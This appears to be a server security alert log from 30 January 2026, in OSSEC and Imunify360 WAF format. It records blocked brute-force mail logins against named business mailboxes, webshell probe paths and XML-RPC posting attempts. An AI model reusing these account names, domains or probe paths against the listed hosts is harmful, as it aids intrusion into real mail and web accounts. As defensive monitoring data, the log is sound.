2026-01-30 17:48:17 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:54981: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.162
country_id: 1269750
description:
2026-01-30 17:48:24 dovecot_login authenticator failed for H=(nsg-corporate-162.230.187.122.airtel.in) [122.187.230.162]:39549: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.0.38.130
country_id: 1210997
description:
2026-01-30 17:48:41 dovecot_login authenticator failed for H=([49.0.38.130]) [49.0.38.130]:60940: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 17:49:25 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:34338: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-30 17:49:53 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:59648: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 17:50:30 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:33836: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.195.77.177
country_id: 1835841
description:
2026-01-30 17:50:19 dovecot_login authenticator failed for H=([119.195.77.177]) [119.195.77.177]:46683: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.228.183
country_id: 1210997
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/windsurfingmalaysia-howtogetthere.htm HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 17:54:20 H=(localhost.localdomain) [45.150.192.143]:57740 F=<info@kapkenya.org> temporarily rejected RCPT <info@mkmetal.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 17:54:46 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:19184: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.117.32.22
country_id: 2017370
description:
2026-01-30 17:54:54 dovecot_login authenticator failed for H=(22.32.117.87.donpac.ru) [87.117.32.22]:58948: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.61.228.12
country_id: 2077456
description:
2026-01-30 17:54:21 dovecot_login authenticator failed for H=(ADMIN) [179.61.228.12]:46360: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.173.107.197
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=685978 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 17:54:34 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:35024: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-30 17:55:23 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:52978: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 17:55:45 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:13208: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 183.87.185.191
country_id: 1269750
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/product.php?id=31&page_id=3&sub=86 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.95.101.182
country_id: 3469034
description:
2026-01-30 17:56:31 dovecot_login authenticator failed for H=(182.101.95.187.dynamic.liggatelecom.com.br) [187.95.101.182]:49074: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 17:56:18 dovecot_login authenticator failed for H=(175-180-129-87.adsl.dynamic.seed.net.tw) [175.180.129.87]:40316: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.128.202
country_id: 6252001
description:
2026-01-30 17:56:37 dovecot_login authenticator failed for H=([192.34.128.202]) [192.34.128.202]:56576: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.181.212
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=900301 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-01-30 17:56:01 dovecot_login authenticator failed for H=([182.95.22.208]) [125.23.228.86]:34748: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/img/druma_photos/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Tests/fixtures/empty.ini||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.132.172
country_id: 99237
description:
2026-01-30 17:59:05 dovecot_login authenticator failed for H=([65.20.132.172]) [65.20.132.172]:33385: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-30 18:00:50 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:45317: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.52
country_id: 2017370
description:
2026-01-30 18:00:51 dovecot_login authenticator failed for H=([178.178.222.52]) [178.178.222.52]:60772: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.80.228.231
country_id: 6252001
description:
2026-01-30 18:00:27 dovecot_login authenticator failed for H=([129.80.228.231]) [129.80.228.231]:38408: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 18:01:29 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:41317: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.22.191
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=56871532676393 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.211.16.117
country_id: 1269750
domain: lvconsult.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:lvconsult.com.my.lvconsult.com.my||ServerName:lvconsult.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.140.179.150
country_id: 2542007
description:
2026-01-30 18:02:49 dovecot_plain authenticator failed for H=([192.168.1.36]) [41.140.179.150]:55020: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.174.106.155
country_id: 3469034
description:
2026-01-30 18:02:54 dovecot_login authenticator failed for H=(177-174-106-155.user.vivozap.com.br) [177.174.106.155]:41086: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.229
country_id: 337996
description:
2026-01-30 18:03:23 dovecot_login authenticator failed for H=([196.189.124.229]) [196.189.124.229]:59048: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 18:04:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:58176: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.84.188.140
country_id: 3996063
description:
2026-01-30 18:04:49 dovecot_login authenticator failed for H=([140.84.188.140]) [140.84.188.140]:53822: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.227.142
country_id: 1269750
description:
2026-01-30 18:04:22 dovecot_login authenticator failed for H=([128.185.227.142]) [128.185.227.142]:55724: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.117
country_id: 99237
description:
2026-01-30 18:04:59 dovecot_login authenticator failed for H=([65.20.167.117]) [65.20.167.117]:40361: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.104.50.190
country_id: 1562822
description:
2026-01-30 18:05:57 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [116.104.50.190]:41780: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.158.138.179
country_id: 1269750
description:
2026-01-30 18:06:15 dovecot_login authenticator failed for H=([103.158.138.179]) [103.158.138.179]:46580: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/symfony/finder/Tests/Fixtures/A/B/C/abc.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 18:06:30 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:45728: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 18:06:07 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:60385: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.13.194.123
country_id: 1282988
domain: masaakisb.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:test01.masaakisb.com||ServerName:masaakisb.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e71c6710f020493fcedae0122fa4314a2ecd9201||Title:0x1c8c5b6a||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.172.147.190
country_id: 1269750
description:
2026-01-30 18:07:34 dovecot_login authenticator failed for H=([110.172.147.190]) [110.172.147.190]:58743: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-01-30 18:07:18 dovecot_login authenticator failed for H=([197.219.208.58]) [197.219.208.58]:58506: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-01-30 18:09:44 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:44526: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 18:09:52 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:50858: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-01-30 18:09:44 dovecot_login authenticator failed for H=(kendek.com) [61.50.119.110]:63008: 535 Incorrect authentication data (set_id=nologin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.219.26.108
country_id: 953987
domain: tschuan.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tschuan.com/refrence.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.188.155.102
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=175050 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.60.186
country_id: 1819730
description:
2026-01-30 18:10:14 dovecot_login authenticator failed for H=42-200-60-186.static.imsbiz.com [42.200.60.186]:52036: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.49.166
country_id: 1269750
description:
2026-01-30 18:10:02 dovecot_login authenticator failed for H=([182.95.49.166]) [182.95.49.166]:46278: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.231.34
country_id: 1269750
description:
2026-01-30 18:10:37 dovecot_login authenticator failed for H=([203.145.159.97]) [182.95.231.34]:48094: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.17.38
country_id: 3469034
description:
2026-01-30 18:11:00 dovecot_login authenticator failed for H=([186.239.246.145]) [187.8.17.38]:40477: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-01-30 18:10:08 dovecot_login authenticator failed for H=(kendek.com) [61.50.119.110]:11544: 535 Incorrect authentication data (set_id=postmaster@kendek.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.94.245
country_id: 1562822
domain: u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/u-net.com.my/service-aircond HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 18:10:48 H=(localhost.localdomain) [45.150.192.143]:57850 F=<info@kapkenya.org> temporarily rejected RCPT <astpkg@astlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.98
country_id: 1269750
description:
2026-01-30 18:11:44 dovecot_login authenticator failed for H=([128.185.253.98]) [128.185.253.98]:40940: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.117.0.253
country_id: 1835841
description:
2026-01-30 18:11:33 dovecot_login authenticator failed for H=([222.117.0.253]) [222.117.0.253]:34818: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 18:11:34 H=(localhost.localdomain) [45.150.192.143]:58850 F=<info@kapkenya.org> temporarily rejected RCPT <celine@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 4.35.66.245
country_id: 6252001
description:
2026-01-30 18:12:59 dovecot_login authenticator failed for H=([4.35.66.245]) [4.35.66.245]:41093: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.218.101
country_id: 1269750
description:
2026-01-30 18:12:14 dovecot_login authenticator failed for H=([182.79.218.101]) [182.79.218.101]:51597: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.58.62
country_id: 1269750
description:
2026-01-30 18:12:06 dovecot_login authenticator failed for H=([125.19.70.49]) [182.95.58.62]:57900: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-01-30 18:12:20 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:36380: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.27.30
country_id: 1668284
description:
2026-01-30 18:14:01 dovecot_login authenticator failed for H=111-70-27-30.emome-ip.hinet.net [111.70.27.30]:41261: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.107.57
country_id: 1814991
description:
2026-01-30 18:14:29 dovecot_login authenticator failed for H=([36.135.107.57]) [36.135.107.57]:56300: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 18:14:38 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 18:15:23 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:44060: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-30 18:15:07 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:60951: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.123.219.82
country_id: 6252001
description:
2026-01-30 18:15:52 dovecot_login authenticator failed for H=ool-457bdb52.dyn.optonline.net [69.123.219.82]:46957: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-30 18:15:15 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:56722: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 18:15:22 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.32.49
country_id: 1269750
description:
2026-01-30 18:15:40 dovecot_plain authenticator failed for H=(LF21D45A3WC8) [103.174.32.49]:55337: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.128.202
country_id: 6252001
description:
2026-01-30 18:16:57 dovecot_login authenticator failed for H=([192.34.128.202]) [192.34.128.202]:58622: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-30 18:16:16 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess3987555330/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.187.185.77
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=934113 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-30 18:17:37 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:46752: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.63.7.250
country_id: 2921044
description:
2026-01-30 18:18:55 dovecot_login authenticator failed for H=p5b3f07fa.dip0.t-ipconnect.de [91.63.7.250]:64604: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.181
country_id: 1668284
description:
2026-01-30 18:18:13 dovecot_login authenticator failed for H=111-70-49-181.emome-ip.hinet.net [111.70.49.181]:56870: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 18:18:26 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:60593: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.12.170
country_id: 1269750
description:
2026-01-30 18:18:45 dovecot_login authenticator failed for H=([103.171.12.170]) [103.171.12.170]:58145: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.180.107.193
country_id: 1814991
description:
2026-01-30 18:18:51 dovecot_login authenticator failed for H=([220.180.107.193]) [220.180.107.193]:52781: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.121.1.156
country_id: 6252001
description:
2026-01-30 18:18:33 dovecot_login authenticator failed for H=([24.121.1.156]) [24.121.1.156]:54041: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-30 18:18:52 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:43880: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 18:19:51 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:47380: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.146.71.107
country_id: 2542007
domain: oxbold.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/oxbold.com/supyogamalaysia-payment.htm HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.230.86.50
country_id: 6252001
description:
2026-01-30 18:19:51 dovecot_plain authenticator failed for H=c-73-230-86-50.hsd1.pa.comcast.net (exibection) [73.230.86.50]:50148: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.200.229.33
country_id: 1835841
description:
2026-01-30 18:19:42 dovecot_login authenticator failed for H=([119.200.229.33]) [119.200.229.33]:37841: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-30 18:20:58 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:34408: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:20:28 dovecot_login authenticator failed for H=(jCbxJGHmOJ) [178.16.54.138]:54890: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.90.101.176
country_id: 2328926
description:
[2026-01-30 18:20:59 +0800] info [webmaild] 102.90.101.176 - account@hmz.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.214.165.6
country_id: 6252001
description:
2026-01-30 18:20:15 dovecot_login authenticator failed for H=(ADMIN) [181.214.165.6]:9593: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.18.137
country_id: 99237
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/doctrine/common/UPGRADE_TO_2_2 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.134.27.159
country_id: 1814991
description:
2026-01-30 18:20:19 dovecot_login authenticator failed for H=([124.134.27.159]) [124.134.27.159]:37208: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/Fixtures/common.inc||User:visoftcom||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Tests/fixtures/resourcebundle/dat/resources.dat||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.130.80
country_id: 1269750
description:
2026-01-30 18:21:08 dovecot_login authenticator failed for H=(80.130.83.103.static.rapidnet.in) [103.83.130.80]:59115: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 18:21:52 H=(localhost.localdomain) [45.150.192.143]:49362 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.72.92.174
country_id: 1814991
description:
2026-01-30 18:21:56 dovecot_login authenticator failed for H=([125.72.92.174]) [125.72.92.174]:58332: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:21:19 dovecot_login authenticator failed for H=(gZOkioBU) [178.16.54.138]:55945: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 18:22:27 dovecot_login authenticator failed for H=(6sUiSo9) [178.16.54.138]:62120: 535 Incorrect authentication data (set_id=plsu.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 18:22:09 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:38636: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.150.246
